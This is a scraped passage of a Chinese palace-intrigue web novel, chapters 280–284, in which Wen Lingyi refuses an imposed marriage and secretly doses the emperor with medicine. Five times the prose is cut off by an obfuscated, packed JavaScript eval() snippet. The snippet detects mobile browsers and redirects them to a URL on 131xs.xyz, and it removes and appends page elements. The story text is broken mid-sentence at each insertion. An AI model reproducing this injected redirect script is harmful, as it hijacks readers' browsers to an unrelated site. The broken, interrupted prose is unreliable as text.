内室,小囡囡一板一眼的说起来了巫医族的神女,萧玄策和其似乎都算不上纠缠,不过以后会不会纠缠就说不准了。 “至少,我觉得他在权利面前,是什么都可以放下的,包括自己。”小囡囡一语中的。 温令仪神色凝重。 温令容松了口气。 萧玄策是什么样的人,不重要。 但这个人的身份是不能不重视的,不管是跟裴祈安还是跟小囡囡,甚至跟温家军之间,都有很深的纠葛,处理好,皆大欢喜,处理不好,那不止是嫁还是不嫁的事。 “囡囡,你觉得现在这个情况,我们该如何拒绝。”温令仪问。 小囡囡眨了眨眼睛,看温令容:“姨母,你怎么想的?我在他身边的日子不短,除了巫医族神女的事,这个人几乎完美,真是挑不出来任何毛病,金无足赤,人无完人。” 温令容愕然,看看小囡囡,这么小的孩子,倒是个早慧的,再看温令仪,妹妹的意思显然是不同意的,若问自己的话,萧玄策在认识自己之前跟谁在一起,并不重要,自己也不在意,哪个世家子在未成亲之前,没有通房丫头呢? 不过,自己并没有嫁人的心思,就算是萧玄策再优秀,自己也不想嫁给他,以免日后这样的姻亲关系,裹挟了娘家人。 “囡囡,娘亲不同意这门亲事,你的意思却觉得萧玄策还行?”温令仪疑惑的问。 小囡囡煞有介事的点头:“行,非常行,因为萧玄策未来的儿子是个十分凶悍的人,是比萧玄策野心更大的人,并且残暴,如果这个孩子是姨母的孩子,不对,如果是姨母跟萧玄策在一起,那么就很大可能改变未来。” 温令容抬起手压了压额角。 温令仪蹙眉:“将来的事不着急,眼下这门亲事不妥当,巫医族在草原上威望极高,巫医族一直都左右着草原上的国家,若非如此,当年就不会有**神庙的事发生。” “娘亲别着急,我当然是希望姨母幸福了,等着。”小囡囡起身出去了。 堂屋里。 萧玄策看到小囡囡从外面进来,脸上不自觉的浮起了笑意。 “义父,新年吉祥。”小囡囡笑眯眯的跑过来给萧玄策行礼拜年。 萧玄策立刻取出来早就准备好的礼物:“乖女儿也吉祥。” “义父,你跟我来。”小囡囡拉着萧玄策的衣袖往外走,还不忘跟舅父说句:“舅父,等我回来给您拜年嗷。” 宋玉承笑着点头。 到了外面,萧玄策有些紧张,看小囡囡带着他去东厢房,弯腰直接把她抱起来了:“囡囡,义父要娶妻,这事儿可要拜托乖女儿多美言几句啊。” 小囡囡眼泪都要下来了:“义父,我太难了。” 萧玄策心就咯噔一下,进了厢房,小囡囡眼泪汪汪的就给萧玄策跪下了:“义父,囡囡对不起您。” “这是哪里话?”萧玄策拉着小囡囡起身:“义父还能怪你不成?我和巫医族的神女之间也就那么点儿事,囡囡若是不说,那才是不对呢。” 小囡囡:……!! 聪明人,就是这样的!他心里明镜儿似的。 萧玄策拿了帕子给小囡囡擦眼泪:“你姨母是不愿意的。” “嗯。”小囡囡点头:“娘亲听说神女的事,也不愿意,怕姨母的性子会受苦,你知道的,姨母之前吃了很多苦。” 萧玄策点了点头:“可是,囡囡可知道,大夏皇帝想要让你姨母入宫当妃子。” “啊?”小囡囡故作惊讶后,愤恨的握紧了小拳头:“他个昏君,就算是姨母不嫁人,当姑子,也轮不到他。” “所以,我比昏君要好一些,当然了,婚姻大事要慎重,强扭的瓜不甜。”萧玄策说。 小囡囡一看这个人要打退堂鼓,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“义父,哎!!义父,你跑什么啊?”小囡囡气得跺脚,这个男人一把年纪了,怎么还跟没开窍的毛头小子似的啊? 第280章 宫里头哪有好事! 萧玄策落荒而逃。 这件事就这么被放下了,温令仪松了口气,同时温令容更觉得心里轻松了不少,她觉得自己配不上萧玄策,所以但凡有一点点儿想要和他在一起的心思,都是痴心妄想。 定下了初五回京。 这几日温令仪便陪着长姐在一起,沐白写来了书信,这让温令仪还有些意外,打开书信看到一半就心惊不已了,抬头看着正在绣花的长姐,只觉得自己重生之后,好像每个人都有了不同的命运,比如长姐,她竟是武学奇才啊? 沐白在书信里写的十分直白,若温令容心性不够,一旦接触武学就可能成为十分残暴的人,这也是当初为何温家会早早的把她嫁人的原因之一,在温家人眼里,温令容能平安顺遂的过完这一生,就是最大的福气。 可温令仪却不这么想,长姐习武厉不厉害姑且不说,就如墨染那般叱咤风云,有何不可? 这几日相处下来,长姐总觉得处处不如人的自卑,像是一只大手揉着自己的心,不是很疼,但非常难受啊。 压下浮躁的心情,温令仪把书信看完,收起来放在一边:“长姐,我认得一个奇女子。” “你身边的人都有些奇奇怪怪的。”温令容抬眸看着温令仪:“奇女子有多奇?” 温令仪走过来坐在长姐身边:“是个武学奇才,师承蔡昀蔡老爷子,二十出头就成了江湖盟主,我这次从漠北回泾河府,就是她一路护送的。” 温令容放下手里的针线:“女子也能当江湖盟主?” “怎么不能?当女皇也未尝不可。”温令仪轻轻地叹了口气:“只可惜她说我和她的缘分就这么多,给我留下了很多书籍,然后就走了。” 温令容惊异:“还真是个奇女子,能拿的起来放得下,只可惜没缘分,不然也可以结交一二。” “长姐,我给你看看她多厉害。”温令仪起身从箱子里取出来几本书送到温令容手里。 温令容低头看了起来:“哎哟,攻农,竟是农耕事,这兵法竟也有啊。” 一本本看过后,温令容看着手里的册子,上面只有一个字:武。 温令仪相信,只要沐白说的不假,长姐必定会对武学和兵法感兴趣,温家出个女将军,有何不可? 果然,温令容翻开了册子,看了起来:“小妹,这些都是你的字迹,难道是你说的墨染口述,你手抄的?” “是啊。”温令仪靠在温令容的肩上:“长姐,温家为何不能出一个女将军呢?” 温令容愣住了,偏头看温令仪:“你给我看这些,是想让我习武,学兵法谋略?” “是啊。”温令仪拿出来沐白的书信,递给温令容:“长姐,你看看。” 温令容取过来书信,从头看到尾,良久才叹了口气:“小妹,当年祖父、祖母,父亲和母亲都知道,但没有让我习武,更别说学习兵法谋略,而是早早的让我嫁人了,他们是想要保护我。” “嗯,我知道啊。”温令仪握着温令容的手:“可是现在不一样了,长姐,若遇不到满心满眼都是你的人,不嫁何妨?若是长姐真如师兄所说,半路出家也必定会成为惊才绝艳的人,身为温家军的女将军,那就像是高岭之花,别人得仰望长姐,有句话说的好,你若盛开,蝴蝶自来,到那时候寻个势均力敌的夫君,才更可能夫妻恩爱到白头啊。” 温令容放下书信:“小妹,等回京再说。” 温令仪当然没奢望长姐立刻就能接受,但至少让长姐知道了。 再说,习武可不是一朝一夕的事,若没有名师指导,没有吃苦的决心,只有天赋是不够的,换句话说,天赋是锦上添花,能让长姐变得更好。 初五一大早,四辆马车缓缓地离开了泾河府,温令仪带着小囡囡,温令容把小无染带过去了,两个奶娘陪着,林嬷嬷和若桃坐在后面的马车里,宋玉承陪着崔东昊坐在第三辆马车。 裴祈安率领亲兵护送,至于归顺朝廷的那些人,裴祈安让他们继续占山为王,不过是以匪的身份,保一方平安。 若桃没有去京城,而是在半路就回药王谷了。 小囡囡这些日子嗜睡的厉害,温令仪一路上照顾小囡囡时候更多。 从泾水河到京城,用了大半个月,到京城的时候,已经是正月二十六,朝廷正月十九便开印了,所以裴祈安到京城后,宋玉承和崔东昊跟着一起去拜见永元帝。 镇国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157296|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公府门前停下了马车。 温令仪牵着小囡囡的手,温令容怀里抱着小无染,府门口,温老夫人和温夫人带着丫环婆子迎接,一家人见面后,往后宅去。 温老夫人看着小无染,喜爱的很,尽管这孩子身份还挺尴尬,可到底是孙女的骨肉,看着就开心。 进屋落座,此时的京城还冷得很,屋子里早早就烧了地龙暖着,颇有些暖意如春的感觉。 “令容瘦了。”温老夫人拉着温令容的手,心疼的很。 温令容笑着说:“祖母,这一路上睡不好,归心似箭的,只是憔悴了些。” “如今,咱们温家和之前不一样了。”温老夫人看着屋子里的人,自己土埋脖了,总算看到了温家的人丁兴旺时,不免感慨:“当初啊,你们一个个出生,哪一个都让祖母新的揪得慌疼,就怕我们这些当长辈的,护不住孩子们啊,如今,可不怕了。” “母亲,过去的事不提了,今儿孩子们都回来了,咱们好好摆几桌席面,热闹热闹。”温夫人说。 温老夫人连连点头:“等你祖父他们下朝,咱们就开席。” 一家人说说笑笑,外面突然传来了太监特有的尖细嗓音:“圣旨到!镇国公府大小姐温令容,二小姐温令仪接旨!” 温令仪霎时皱眉,永元帝是怎么想的?她们才到家啊,就这么急不可耐? 温家人不敢怠慢,设香案接旨。 圣旨也简单,宣温令容和温令仪入宫面圣。 “咱家候着,两位小姐都装扮一下,跟咱家入宫去吧。”太监说。 温老夫人请太监入堂屋喝茶,温令容和温令仪去更衣。 “曹总管,皇上那边可有口风?”温老夫人递过去了沉甸甸的钱袋子。 宣旨太监正是新晋的大内总管曹忠。 曹忠哪里敢收温老夫人的礼,赶紧推开,压低声音:“老夫人万万使不得,这宫里头的事,眼看着就没好事,二位小姐入宫倒也不用怕,有摄政王照应着,只管安心。” 温老夫人知道曹忠不能多说,道谢之后请曹忠喝茶。 温令仪姐妹俩坐上马车往宫里去,天上飘起了雪,那雪片很大,洋洋洒洒…… 第281章 效仿西凉皇后,弄死这个混账东西! 姐妹二人坐在马车里,温令容担忧的模样惹得温令仪心疼,伸出手握住了温令容的手,轻轻地拍了拍。 温令容抬眸看着小妹,她知道坐在这马车里,话都不能乱说,也知道昏君此时宣召,必定是没好事,有心让自己入宫,还想要给小妹赐婚,心里如何应对却没有章程。 马车到了宫门口,曹忠在前头引路,三人往御书房去的路上,曹忠几次欲言又止,温令仪都看在眼里,心里猜测这曹忠会不会是裴祈安的人。 眼看到御书房门外了,温令仪低声:“公公。” 曹忠赶紧停下脚步:“温二小姐。” “摄政王何在?”温令仪问。 曹忠低声:“在御书房,二位小姐不必担忧。” 温令仪松了口气,从态度上看,曹忠就算不是裴祈安的人,那也绝不是皇上的人。 御书房门外站着两个小太监,见到曹忠都十分恭敬。 曹忠让温令仪姐妹二人在外面等候,进去复命。 永元帝看到曹忠就知道温家姐妹入宫了,说真的,不想见到温令仪,从始至终对温令仪的印象都糟糕透了,特别是上次,简直每次想起都倒胃口。 至于温令容,一个被休下堂的女子,自是好拿捏的,别说自己可以给妃位,就算是只说入宫伴驾,温家人难道还敢不同意? 御书房里,不止有裴祈安,还有崔东昊和宋玉承,更有温家如今的镇国公温长安,最大的功臣温慕阳和罗政也在。 裴祈安看到曹忠的时候,微不可见的眯了眯眼睛,永元帝是想要趁着所有人都在,把温令容入宫,赐婚温令仪的事都办了,甚至都不给各方回去商量的余地,如此行事,实在是逼人太甚! “让温家二位小姐觐见。” 永元帝话音落下,眼角余光扫了眼罗政。 说实在的,他觉得罗政是个拎不清的,打仗确实有本事,可在男女之事上,糊涂的厉害! 温令仪的可取之处,不过是有医术在手,余下可就真太不行了,但凡有点子本事,也不至于让晏怀卿给算计成那副样子,有的人,不是自身有本事,而是命好,温令仪的命算不得好,可护着她的人确实多。 温令仪和温令容走进来跪下请安。 永元帝抬手:“免礼,赐座。” 曹忠立刻在屏风后面安置了两个绣墩,温令仪和温令容坐在屏风后面。 永元帝看着温长安:“爱卿,如今天下初定,爱卿功不可没,家中这两位小姐却命运多舛,朕想要为爱卿解忧。” “皇上,臣的家事让您费心了。”温长安起身拱手回礼。 永元帝摆了摆手:“爱卿见外了,罗将军年轻有为,也是战功赫赫的后起之秀,朕知罗将军和令仪有青梅竹马之情,如今想要玉成此事,赐婚二人可好?” “臣,不娶。”罗政起身就给永元帝跪下了。 永元帝一时心里都百味杂陈了,刚才还在刚开罗政拎不清,这就拒了赐婚,难道是突然开窍了不成? 温长安尴尬极了,拱手再一礼:“皇上,婚姻大事要看缘分,特别是臣的两个女儿,都曾错配姻缘,以至于命运多舛,所以,议婚之事言之尚早啊。” 永元帝心里头不高兴了,自己身为君,眼前这些都是臣,刚提一句赐婚,就言之尚早了? “皇上。”裴祈安起身:“臣有本。” 永元帝压下脸上的薄怒,让曹忠把裴祈安拿出来的奏折送到面前,打开看了一眼,心就提到了嗓子眼儿,抬头看裴祈安,见裴祈安微微点头,显然这件事是板上钉钉的事。 温令容竟入了萧玄策的眼,并且在泾河府里曾试图登门提亲,结果被温令容拒了! 萧玄策是谁?如今大夏最大的敌人,尽管裴祈安和这个人签订了盟书,可这世上谁拳头硬,谁就有说话的权利,盟书有什么用?想要掀桌子,随时都可以。 把奏折放在一边,永元帝心里就打鼓了,自己想要让温令容入宫,萧玄策捷足先登,若自己现在让温令容入宫,对于萧玄策来说,岂不是夺妻之恨? 这温家!果然算盘打得厉害,再看地上跪着的罗政,旁边不动声色坐在椅子上的温慕阳,突然有些后悔了,当年就应该给温慕阳也用上半边月。 “皇上,非要赐婚吗?”温令仪隔着屏风,跪倒在地,问。 永元帝听到温令仪的声音,就觉得不舒坦,心里头不喜一个人,真是对方出现都会觉得浑身不自在,你瞅瞅这问得是什么话?非要赐婚吗? 赐婚对任何人来说,都是无上的荣耀,怎么到她这里,就好像是被刀架在脖子上了似的? “朕,想要为温爱卿解忧。”永元帝说。 温令仪嘴角一抹冷笑,语气却温和:“那臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157297|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女倒是有了个心仪之人。” 永元帝顺势问了句:“何人?” “摄政王裴祈安。”温令仪淡淡的回道。 还跪在地上的罗政,听到了心碎的声音,他班师回朝后,祖父就严正的警告了几次,一是断了对温令仪的念想,二是不能接赐婚圣旨,三是不可一门同文武,若他想要继续执兵权,祖父和兄长一定会致仕。 并且说过,温令仪和裴祈安之间,渊源太深。 难道这就是渊源太深?宁可嫁给天阉之人,都不肯跟自己在一起吗? 永元帝看裴祈安,见裴祈安低眉顺眼,没有任何态度,心里便有了火气:“温令仪,你可知道摄政王娶妻,会让多少人背后指指点点?” “不娶,不也被人当成茶余饭后的谈资了吗?再者,皇上有所不知,摄政王一直都在请臣女治病,臣女保不齐能治好他呢。”温令仪隔着屏风,看不到任何人的表情,不过自己若不吭声,长姐若不肯入宫,可就不是拒婚那么简单了。 崔东昊和宋玉承二人并无官职,全赖治泾水河有功,才有机会来到这里,二人没想到竟会有这样的事情,特别是宋玉承,心里鄙夷坐在上面的永元帝,简直不如猪狗! “宋兄。”崔东昊极小的声音,并且拉了拉宋玉承的衣袖。 宋玉承倒想拂袖而去了,可这地方不是他说了算的地方,只能对崔东昊摇了摇头,显然崔东昊也不齿的很,在崔东昊眼里,温令仪是什么人?那是救了泾水河两岸百姓的恩人! 真以为在场的人都是瞎子吗?看不出这昏君打了什么算盘?恶心! 永元帝一下就心动了:“你能治好摄政王的隐疾?” “八成把握。”温令仪心里冷笑,这昏君没有子嗣,最心急的是他!但凡让自己治病,自己就效仿西凉皇后,弄死这个混账东西! 果不其然,永元帝让所有人退下,只留了裴祈安和温令仪在御书房。 温令容看温令仪,温令仪轻轻地点头,意思是让她不要担心,等所有人退下去后,温令仪从屏风后面走了出来,跪下行礼:“摄政王的隐疾难治,但皇上的病,臣女有九成把握。” 永元帝脸色一沉:“温令仪,你到底打的是什么算盘?” “皇上明鉴,臣女知恩图报,您为臣女的父亲分忧,臣女想要为国分忧啊。”温令仪垂眸,缓缓说道。 第282章 温令仪!你竟敢如此嚣张 永元帝脸色阴沉:“温令仪!你竟敢如此嚣张,朕未有欠安之处。” “皇上,讳疾忌医可不好,就算皇上为了大夏江山,也要让臣女试试,难道皇上不想子孙瓜瓞?江山永固吗?”温令仪怡然不惧,抬眸看着永元帝:“温家家训是忠君爱国,臣女从小就被祖父谆谆教诲,虽不能上阵杀敌,但杏林之中已然得有臣女的一席之地,若皇上不信,可让太医轮番前来为您诊脉,臣女料定他们都不敢说实话。” 永元帝一拍桌子:“你竟如此猖狂!” “皇上,温令仪所言可信。”裴祈安立刻起身说话。 永元帝压下火气:“难道玉琢也觉得朕有病?” “绝无此意,但臣并不懂得岐黄之术,倒是温令仪不止出身药王谷,更是在京城和泾河府治过时疫,所以臣认为她说的话可信,只不过温令仪是后宅女子,不懂权衡利弊,否则也不会如此直抒胸臆,意图为君分忧了。”裴祈安说。 永元帝缓缓地吸了口气。 温令仪趁机说道:“皇上,在药王谷里,臣女见过很多男子喜欢男子,女子爱慕女子的,在世人眼里,这是倒反天罡,罔顾人伦,可在医者眼里则不然。” 刚压下的火气直接冲上了天灵盖,永元帝看着温令仪,动了杀心,自己那点子心思从不曾宣之于口,这女人就差直接点名说自己了!找死也没有这么个找死法! “不然?如何个不然法?”永元帝声音都冷了三分。 温令仪轻轻地叹了口气:“是阴阳失和,导致情志颠倒,男子没有了英雄气概,女子没了怀柔之美,别说病人,就是寻常人也是如此,自己缺什么就会格外爱慕什么啊,所以没了英雄气概的男子就渴望男人,没了怀柔之美的女子就喜欢柔情似水的姑娘,反之也是如此,虽为男儿身,厌恶女子如情敌一般,哪怕是女儿身,厌恶男子如脏污之物,颠倒了阴阳,都是短命之相啊。” 这话听得裴祈安憋笑都要憋出来内伤了,当然也明白温令仪想要做什么了,在裴祈安看来,温令仪做什么都是对的!早一点儿也好,晚一点儿也好,都行! 永元帝沉默了半晌,身为君,何曾有人敢如此当着面就大放厥词? 可如今他后继无人,前朝无人,宫中连一个正经的贵妃都没有,更别说皇后了,连着**两个皇后,朝臣又多数都是新提拔起来的人,皇权式微已成定局,并且温家掌兵权,他不能顺着自己心意,直接把温令仪斩了。 “给朕请脉。”永元帝知道后继无人是天家大忌,若自己不能开枝散叶,这江山早晚拱手让人。 温令仪上前,给永元帝诊脉,诊脉过后跪下了:“臣女能让皇上身体康健,但请皇上开恩。” 永元帝蹙眉:“开什么恩?” “长姐遭受不幸,万念俱灰,不欲再嫁,若臣女治好了皇上,请皇上下旨准许长姐不嫁,并且自立门户。”温令仪说。 永元帝看了眼裴祈安,温令仪和裴祈安之间难道早就勾结在一起了?自己要赐婚罗政,让温令容入宫的心思,唯有裴祈安知道,显然温令仪早有准备了。 裴祈安倒是淡定从容的很。 永元帝点头:“准了。” 温令仪又说:“请摄政王陪着臣女往尚药局去,臣女要亲自为皇上熬药。” “可。”永元帝也准了。 等裴祈安和温令仪去尚药局后,曹忠送上了热茶。 “曹忠,裴祈安有不臣之心啊。”永元帝说。 曹忠吓得赶紧跪下了:“皇上,老奴可不敢多言,您心里比谁都清楚。” “清楚?”永元帝微微摇头,那是以前,裴祈安并无退路,也无仰仗,更无人缘,但凡朝臣哪个对他不是又怕又恨?天阉之人不依靠自己,到最后都的死无葬身之地! 可温令仪说有八成把握治好裴祈安,那裴祈安还可信吗? 曹忠不敢接茬儿,心里却觉得温令仪这一步走的十分不明智,甚至在挑拨摄政王和皇上之间的关系,明眼人都能看得出来啊。 “难道,温令仪想要挑拨朕和玉琢的关系不成?”永元帝喃喃自语。 曹忠也不敢吭声,皇上到底是个什么样的人,外面的人不知道,他在宫里大半辈子了,宫里的事什么不知道吧?残暴狠毒的魔头,只不过得了祖上庇护,有一国之君的身份罢了,若不然,人人得而诛之! 永元帝吩咐:“让人盯着温令仪和裴祈安。” “是。”曹忠领旨后退下,去吩咐人办事了。 此时,尚药局的草药库房里,温令仪在挑选草药,裴祈安跟在旁边,在外人看来裴祈安是盯着温令仪,免得她做手脚。 温令仪写了个方子,递给裴祈安。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161873|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴祈安踹进袖袋。 两个人从草药库走出来,跟外面的人核对了草药,记录在册后,往御膳房来。 曹忠很快回到御书房:“皇上,这是尚药局送来的明细。” 永元帝拿过来扫了眼:“让人看过了吗?” “看过了,沈济生说是温补培元的药,并且是极少见的珍贵方子,应该是药王谷的珍藏,只不过温令仪用药略有些隐晦,应该是不外传,所以上面的剂量未必全用。”曹忠说。 永元帝冷哼一声,问:“如今她在做什么?” “在御膳房熬药,摄政王跟在身边,应是万无一失,二人并无交谈,想必王爷此时心里也愤恨。”曹忠说。 永元帝撩起眼皮儿:“愤恨?只怕不会。” 曹忠不敢说话。 真当自己是个没脑子的吗?仔细回想,裴祈安处处护着温家,举荐温家驻守漠北,执掌兵权,看来这人留不得了。 小太监过来送茶,偷偷把一个锦盒交给裴祈安。 裴祈安不动声色的收起来,等温令仪过来喝茶的时候,锦盒就到了温令仪的手里,里面是草药,这几味草药加进去后,温令仪把熬好的草药放在药碗里,端着往御书房来。 御书房里,永元帝看着草药,微微蹙眉:“温令仪,你这药多久有效?” “皇上,若是对症,此时服药,今晚就会有体感,不用三天就可见到明显的效果。”温令仪说。 永元帝点了点头,话锋一转:“你给玉琢诊脉,说说看症状如何?” 温令仪恭敬的应下,来到裴祈安跟前给诊脉。 片刻,温令仪再次来到永元帝面前:“臣女什么都能说吗?” “你说讳疾忌医是大忌,有什么不能说的?”永元帝反问。 温令仪点了点头:“裴祈安身中半边月,还有一种是缠丝毒,缠丝毒无药可解,但能克制半边月。” 永元帝审视着温令仪,半边月早就不是什么秘密了,当初让他们去找大梁宝藏时,自己还天真希望能找到解药或者解药的方子,别人都可以不管,裴祈安的毒要解了,可现在,他很庆幸大梁宝藏还无法取出。 “并且,裴祈安身上还有一种毒,这毒才是他被称为天阉之人的罪魁祸首。”温令仪毫无惧色的看着永元帝:“而我,能试试给解毒,皇上,可行?” 第283章 皇上要见温家二小姐,立刻就见 永元帝当然知道裴祈安还中了药王谷的缠丝毒,之所以认定他是天阉之人,也恰恰是因为缠丝毒无解,如今温令仪竟然要给裴祈安解缠丝毒?难道药王谷留了一手? “如何解毒?”永元帝看温令仪。 温令仪恭敬回道:“臣女嫁给裴祈安。” 这话别说永元帝,就是裴祈安都一惊,解毒用药,谁都知道,可天底下哪里用人解毒的? 永元帝差点儿被这句话憋出来内伤,审视着温令仪:“你用如此方法,可以解毒?” “是啊。”温令仪点头,模样笃定,不似作假。 永元帝看裴祈安。 裴祈安立刻起身:“皇上,臣需要斟酌。” 这才是永元帝想要的答案,若裴祈安立刻答应了,反倒是让他起疑心,认为药王谷有问题,裴祈安不答应情理之中嘛,因温令仪解毒是假,不想被赐婚给罗政才是目的。 可温令仪胆子真是大到没脑子,难道自己会原因让温家和裴祈安联手? 容后再议,这件事就此作罢,永元帝让裴祈安看顾着温令仪留在宫中,一来宫中信得过的人不多,二来温令仪说要用药膳温补,效果才会更好。 等裴祈安带着温令仪去了御膳房,永元帝起身在御书房里踱步,曹忠跟在身后。 “曹忠,你觉得摄政王娶妻,可行?”永元帝问。 曹忠赶紧弓着腰回道:“皇上,您心里自有定夺,奴才不敢说。” “不敢说?”永元帝扫了眼曹忠,不是无话可说,是不敢说:“说来听听。” 曹忠低着头,小心翼翼的说:“在老奴看来,摄政王娶妻,跟宫里的对食有的一比。” “曹忠!”永元帝厉声。 曹忠扑通就跪下了,磕头在地:“皇上开恩,皇上开恩,老奴多嘴,该打!” 说着,就自己抽自己的嘴巴。 永元帝面色稍缓,坐在椅子上:“罢了!” 曹忠这才停手,跑过来旁边伺候着。 永元帝垂眸,宫中对食虽不常见,但一直都有,能对食的宫女和太监必要得到帝后允可才行,如今用这样的词说裴祈安,他心里是不愿意的,可转念一想,不就是这样的意思吗? 别说裴祈安了,就是太监一旦有了权势,也会在外面置办个女人,买两个孩子作为儿女,体面嘛,哪怕是装出来的,也得装。 “你的意思是要给摄政王足够的体面?”永元帝端起茶盏送到嘴边,淡淡的问。 曹忠跪下回道:“奴才不敢。” “说都说了,又说不敢?”永元帝放下茶盏:“罢了。” 曹忠又起身,去安排人伺候永元帝沐浴更衣,虽说不是每天都会如此,可三五天就要来这么一回,第二天他要亲自去处理干净,不能让人发现,当然了,倒霉的撞见了就一并处理掉。 御膳房。 温令仪在精心的为永元帝调理药膳,之所以要用要药膳,当然是为了让这一切都无懈可击。 草药的歌诀谁都会,可会用的可不多。 十八反和十九畏,是药也是毒。 裴祈安坐在旁边,看温令仪仔细的熬着药膳粥,几次嘴角勾起笑意都生生的忍下去了,他觉得自家女人真是样样都好,永元帝的那点子心思都拿捏的死死地,接下来必定是要赐婚了,赐婚当然好,有体面谁不想要,但凡皇上要赐婚,自己明媒正娶,那什么不光明正大的呢? “胆子不小。”裴祈安出声。 温令仪偏头看了眼裴祈安:“王爷,这可不是胆子,是本事,且看着吧,效果来的极快。” 裴祈安再次勾起唇角,只是没笑出来。 “走吧,送过去。”温令仪装好了食盒,提在手里。 裴祈安起身要去接食盒,温令仪摇头:“你且端好了架子,别耽误了大事。” 二人来到御书房门外,刚巧曹忠安排好回来,进去通禀后,带着二人进了御书房。 “皇上,这是配合汤药的药膳。”温令仪端出来热粥放在桌子上。 曹忠看了眼,心里纳闷,这宫里什么珍贵的食材没有,偏偏是一碗菜粥。 永元帝走过来扫了桌子上的两碗菜粥,坐下来:“为何是两碗。” “自是让摄政王陪着皇上一起用,温补的粥,摄政王也需要多用一些。”温令仪回答的十分认真。 永元帝抬眸看裴祈安正剜瞪温令仪,别开目光勾起唇角:“玉琢要陪着朕一起吃野菜了。” “臣,荣幸之至。”裴祈安坐下来陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161874|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着永元帝吃粥,心里吐槽温令仪是太周到了,这下皇上怎么也不会觉得有毒,毕竟自己吃了,不过裴祈安到底是格局小了,因为接下来的事,除了温令仪,谁也不知道。 用过了粥,永元帝没打算让温令仪和裴祈安离开,差人去温家送了消息,温令仪今日留在宫中为皇上治病。 温令仪在偏殿里歇着,永元帝和裴祈安下棋。 一炷香的工夫还没到,永元帝只觉得身上有些异样,浑身都像是有暖流往某处汇集,那感觉并不明显,可某处的反应却让他无法忽视。 “玉琢,这粥如何?”永元帝落下一子,问。 裴祈安清了清嗓子:“恕臣直言,温令仪的厨艺欠佳。” “确实有些苦味。”永元帝笑着端起来茶盏,里面是温令仪准备的茶饮,抬眸打量着裴祈安的模样,确实没有任何异样,而他能明显的看到手上的血管都粗了似的,血液在奔腾的感觉。 一局结束,永元帝已经有些迫不及待了,他打了个哈欠:“盯着温令仪,朕歇着了。” “遵旨。”裴祈安当然要陪着自家女人了,毕竟皇上气血充盈的太快,自己可得保护好了媳妇。 永元帝是怎么都没想到,温令仪竟然会如此尽心尽力的为自己治病。 服用药物才多久啊,就感觉身体不一样了,似是有用不完的体力似的。 浑身都有了暖流在乱窜,这感觉已经很多年没有过了,并且想要女人。 曹忠陪着永元帝去浴房。 浴房里早就准备好了服侍皇上的女子,那女子穿着薄纱衫,玲珑模样若隐若现,满眼期待的迎过来。 曹忠小心翼翼的伺候着,退出去的时候,怜悯的看了眼那女子,都以为爬上龙床就能飞上枝头,可在这里,是地狱门啊。 不过,能说什么?他也不过就是个奴才。 永元帝踏进了温热的泉池里,女子小心翼翼的伺候,看似不经意的碰到了不该碰到的地方,顿时吓了一跳,小脸绯红。 永元帝轻笑出声,把人拉过来,做点儿正常事…… 两个时辰后,裴祈安见曹忠急匆匆过来,低声:“何事?” “回王爷,皇上要见温家二小姐,立刻就见。”曹忠脸色都苍白了,说。 第284章 皇上,臣,不愿意自欺欺人 温令仪听到了,起身往外走,裴祈安直接拦住了她,推着她进屋,低声:“怎么回事?” “今晚没见血。”温令仪踮起脚尖在裴祈安耳边:“昏君能人道了,惊奇罢了,以往他都会虐杀了伴驾的女子,一方面是欲求不满难以疏解,另一方面也是怕丑事传扬出去,说他不行。” 裴祈安当然知道永元帝那点子脏事,低声:“谁告诉你的?” “墨染。”温令仪抬眸:“你跟我同去,他疑心重。” 裴祈安点了点头。 